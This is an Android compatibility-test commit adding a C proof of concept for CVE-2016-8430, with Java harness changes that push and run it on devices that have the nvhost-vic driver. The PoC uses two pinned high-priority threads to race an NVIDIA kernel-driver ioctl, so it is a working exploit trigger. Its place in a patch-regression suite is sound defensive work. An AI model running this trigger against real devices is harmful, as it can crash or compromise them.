DO NOT MERGE Initial hostside commit for CVE-2016-8430 b/32225180
Change-Id: I985d2416eea9f38d09f4d9628c651c06a4b78db2
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8430/poc.c b/hostsidetests/security/securityPatch/CVE-2016-8430/poc.c
new file mode 100644
index 0000000..0717d0b
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-8430/poc.c
@@ -0,0 +1,204 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+
+#include <errno.h>
+#include <unistd.h>
+#include <stdio.h>
+#include <dirent.h>
+#include <string.h>
+#include <sys/stat.h>
+#include <sys/ioctl.h>
+#include <stdio.h>
+#include <string.h>
+#include <dlfcn.h>
+#include <sys/time.h>
+#include <sys/mman.h>
+#include <sys/syscall.h>
+#include <sys/resource.h>
+#include <fcntl.h>
+#include <pthread.h>
+#include <unistd.h>
+#include <sched.h>
+#include <stdlib.h>
+
+struct nvhost_channel_open_args {
+ __s32 channel_fd;
+};
+struct nvhost_set_error_notifier {
+ __u64 offset;
+ __u64 size;
+ __u32 mem;
+ __u32 padding;
+};
+#define NVHOST_IOCTL_MAGIC 'H'
+#define NVHOST_IOCTL_CHANNEL_OPEN \
+ _IOR(NVHOST_IOCTL_MAGIC, 112, struct nvhost_channel_open_args)
+#define NVHOST_IOCTL_CHANNEL_SET_ERROR_NOTIFIER \
+ _IOWR(NVHOST_IOCTL_MAGIC, 111, struct nvhost_set_error_notifier)
+struct nvmap_create_handle {
+ union {
+ __u32 id; /* FromId */
+ __u32 size; /* CreateHandle */
+ __s32 fd; /* DmaBufFd or FromFd */
+ };
+ __u32 handle; /* returns nvmap handle */
+};
+struct nvmap_alloc_handle {
+ __u32 handle; /* nvmap handle */
+ __u32 heap_mask; /* heaps to allocate from */
+ __u32 flags; /* wb/wc/uc/iwb etc. */
+ __u32 align; /* min alignment necessary */
+};
+#define NVMAP_HEAP_CARVEOUT_IRAM (1ul<<29)
+#define NVMAP_HEAP_CARVEOUT_VPR (1ul<<28)
+#define NVMAP_HEAP_CARVEOUT_TSEC (1ul<<27)
+#define NVMAP_HEAP_CARVEOUT_GENERIC (1ul<<0)
+
+#define NVMAP_HEAP_CARVEOUT_MASK (NVMAP_HEAP_IOVMM - 1)
+
+/* allocation flags */
+#define NVMAP_HANDLE_UNCACHEABLE (0x0ul << 0)
+#define NVMAP_HANDLE_WRITE_COMBINE (0x1ul << 0)
+#define NVMAP_HANDLE_INNER_CACHEABLE (0x2ul << 0)
+#define NVMAP_HANDLE_CACHEABLE (0x3ul << 0)
+#define NVMAP_HANDLE_CACHE_FLAG (0x3ul << 0)
+
+#define NVMAP_HANDLE_SECURE (0x1ul << 2)
+#define NVMAP_HANDLE_KIND_SPECIFIED (0x1ul << 3)
+#define NVMAP_HANDLE_COMPR_SPECIFIED (0x1ul << 4)
+#define NVMAP_HANDLE_ZEROED_PAGES (0x1ul << 5)
+#define NVMAP_HANDLE_PHYS_CONTIG (0x1ul << 6)
+#define NVMAP_HANDLE_CACHE_SYNC (0x1ul << 7)
+#define NVMAP_IOC_MAGIC 'N'
+
+/* Creates a new memory handle. On input, the argument is the size of the new
+ * handle; on return, the argument is the name of the new handle
+ */
+ #define NVMAP_IOC_ALLOC _IOW(NVMAP_IOC_MAGIC, 3, struct nvmap_alloc_handle)
+#define NVMAP_IOC_CREATE _IOWR(NVMAP_IOC_MAGIC, 0, struct nvmap_create_handle)
+#define NVMAP_IOC_FREE _IO(NVMAP_IOC_MAGIC, 4)
+int g_fd = -1;
+int g_nvmap_fd = -1;
+static pthread_cond_t cond = PTHREAD_COND_INITIALIZER;
+static pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER;
+int g_channel_fd = -1;
+struct nvhost_set_error_notifier g_error_notifier;
+struct nvmap_create_handle g_nvmap_hdl;
+
+struct nvmap_alloc_handle g_real_alloc = {0};
+
+int open_driver() {
+ char* dev_path = "/dev/nvhost-vic";
+ g_fd = open(dev_path, O_RDONLY);
+ if (g_fd < 0) {
+ printf("open file(%s) failed, errno=%d\n", dev_path, errno);
+ return -1;
+ } else {
+ printf("open file(%s) succ!\n", dev_path);
+ }
+
+ dev_path = "/dev/nvmap";
+ g_nvmap_fd = open(dev_path, O_RDONLY);
+ if (g_nvmap_fd < 0) {
+ printf("open file(%s) failed, errno=%d\n", dev_path, errno);
+ return -1;
+ } else {
+ printf("open file(%s) succ!\n", dev_path);
+ }
+ return 1;
+}
+
+void trigger_channel_open() {
+ struct nvhost_channel_open_args args = {-1};
+ ioctl(g_fd, NVHOST_IOCTL_CHANNEL_OPEN, &args);
+ g_channel_fd = args.channel_fd;
+}
+
+int trigger_nvmap_create() {
+ g_nvmap_hdl.size = 0x1000;
+ ioctl(g_nvmap_fd, NVMAP_IOC_CREATE, &g_nvmap_hdl);
+ return g_nvmap_hdl.handle;
+}
+
+void trigger_nvmap_free() {
+ int data = g_nvmap_hdl.handle;
+ ioctl(g_nvmap_fd, NVMAP_IOC_FREE, data);
+}
+void trigger_nvmap_alloc(int handle) {
+ g_real_alloc.align = 0x1000;
+ g_real_alloc.heap_mask = NVMAP_HEAP_CARVEOUT_GENERIC;
+ g_real_alloc.flags = NVMAP_HANDLE_ZEROED_PAGES;
+ g_real_alloc.handle = handle;
+ ioctl(g_nvmap_fd, NVMAP_IOC_ALLOC, &g_real_alloc);
+}
+void prepare_data() {
+ g_error_notifier.offset = 0;
+ g_error_notifier.mem = g_nvmap_hdl.handle;
+}
+
+void trigger_set_error_notifier() {
+ ioctl(g_fd, NVHOST_IOCTL_CHANNEL_SET_ERROR_NOTIFIER, &g_error_notifier);
+}
+
+void setup_privi_and_affinity(int privi, unsigned long cpu_mask) {
+ setpriority(PRIO_PROCESS, gettid(), privi);
+
+ /* bind process to a CPU*/
+ if (sched_setaffinity(gettid(), sizeof(cpu_mask), &cpu_mask) < 0) {
+ }
+}
+
+void* race_thread(void* arg) {
+ setup_privi_and_affinity(-19, 2);
+ pthread_mutex_lock(&mutex);
+ pthread_cond_wait(&cond, &mutex);
+ pthread_mutex_unlock(&mutex);
+ while (1) {
+ trigger_set_error_notifier();
+ }
+ return NULL;
+}
+
+void* race_thread_2(void* arg) {
+ setup_privi_and_affinity(-19, 1);
+ pthread_mutex_lock(&mutex);
+ pthread_cond_wait(&cond, &mutex);
+ pthread_mutex_unlock(&mutex);
+ while (1) {
+ trigger_set_error_notifier();
+ }
+ return NULL;
+}
+
+int main(int argc, char**argv) {
+ setup_privi_and_affinity(0, 1);
+ if (open_driver() < 0) {
+ return -1;
+ }
+ //trigger_nvmap_create();
+ trigger_nvmap_alloc(trigger_nvmap_create());
+ prepare_data();
+ //trigger_nvmap_free();
+ pthread_t tid;
+ pthread_create(&tid, NULL, race_thread, NULL);
+ pthread_create(&tid, NULL, race_thread_2, NULL);
+ usleep(100 * 1000);
+ pthread_cond_broadcast(&cond);
+
+ sleep(100);
+ return 0;
+}
diff --git a/hostsidetests/security/src/android/security/cts/AdbUtils.java b/hostsidetests/security/src/android/security/cts/AdbUtils.java
index a3018fa..979ff5d 100644
--- a/hostsidetests/security/src/android/security/cts/AdbUtils.java
+++ b/hostsidetests/security/src/android/security/cts/AdbUtils.java
@@ -30,6 +30,7 @@
import java.io.InputStream;
import java.io.OutputStream;
import java.util.Scanner;
+import java.util.concurrent.TimeUnit;
public class AdbUtils {
@@ -51,17 +52,25 @@
* @param device device to be ran on
* @return the console output from the binary
*/
- public static String runPoc(String pathToPoc, ITestDevice device) throws Exception {
- String fullResourceName = pathToPoc;
- File pocFile = File.createTempFile("poc", "");
- try {
- pocFile = extractResource(fullResourceName, pocFile);
- device.pushFile(pocFile, "/data/local/tmp/poc");
- device.executeShellCommand("chmod +x /data/local/tmp/poc");
- return device.executeShellCommand("/data/local/tmp/poc");
- } finally {
- pocFile.delete();
- }
+ public static String runPoc(String pocName, ITestDevice device) throws Exception {
+ device.executeShellCommand("chmod +x /data/local/tmp/" + pocName);
+ return device.executeShellCommand("/data/local/tmp/" + pocName);
+ }
+
+ /**
+ * Pushes and runs a binary to the selected device
+ *
+ * @param pathToPoc a string path to poc from the /res folder
+ * @param device device to be ran on
+ * @param timeout time to wait for output in seconds
+ * @return the console output from the binary
+ */
+ public static String runPoc(String pocName, ITestDevice device, int timeout) throws Exception {
+ device.executeShellCommand("chmod +x /data/local/tmp/" + pocName);
+ CollectingOutputReceiver receiver = new CollectingOutputReceiver();
+ device.executeShellCommand("/data/local/tmp/" + pocName, receiver, timeout, TimeUnit.SECONDS, 0);
+ String output = receiver.getOutput();
+ return output;
}
/**
diff --git a/hostsidetests/security/src/android/security/cts/Poc16_12.java b/hostsidetests/security/src/android/security/cts/Poc16_12.java
new file mode 100644
index 0000000..0e03c5d
--- /dev/null
+++ b/hostsidetests/security/src/android/security/cts/Poc16_12.java
@@ -0,0 +1,44 @@
+/**
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import com.android.tradefed.device.CollectingOutputReceiver;
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceTestCase;
+
+import android.platform.test.annotations.RootPermissionTest;
+
+import java.io.BufferedOutputStream;
+import java.io.File;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.util.Scanner;
+
+public class Poc16_12 extends SecurityTestCase {
+ /**
+ * b/32225180
+ */
+ public void testPocCVE_2016_8430() throws Exception {
+ if(containsDriver(getDevice(), "/dev/nvhost-vic")) {
+ AdbUtils.runPoc("CVE-2016-8430", getDevice(), 60);
+ }
+ }
+
+}
diff --git a/hostsidetests/security/src/android/security/cts/SecurityTestCase.java b/hostsidetests/security/src/android/security/cts/SecurityTestCase.java
index b6599c1..5c84850 100644
--- a/hostsidetests/security/src/android/security/cts/SecurityTestCase.java
+++ b/hostsidetests/security/src/android/security/cts/SecurityTestCase.java
@@ -64,6 +64,17 @@
}
/**
+ * Check if a driver is present on a machine
+ */
+ public boolean containsDriver(ITestDevice mDevice, String driver) throws Exception {
+ String result = mDevice.executeShellCommand("ls -Zl " + driver);
+ if(result.contains("No such file or directory")) {
+ return false;
+ }
+ return true;
+ }
+
+ /**
* Makes sure the phone is online, and the ensure the current boottime is within 2 seconds
* (due to rounding) of the previous boottime to check if The phone has crashed.
*/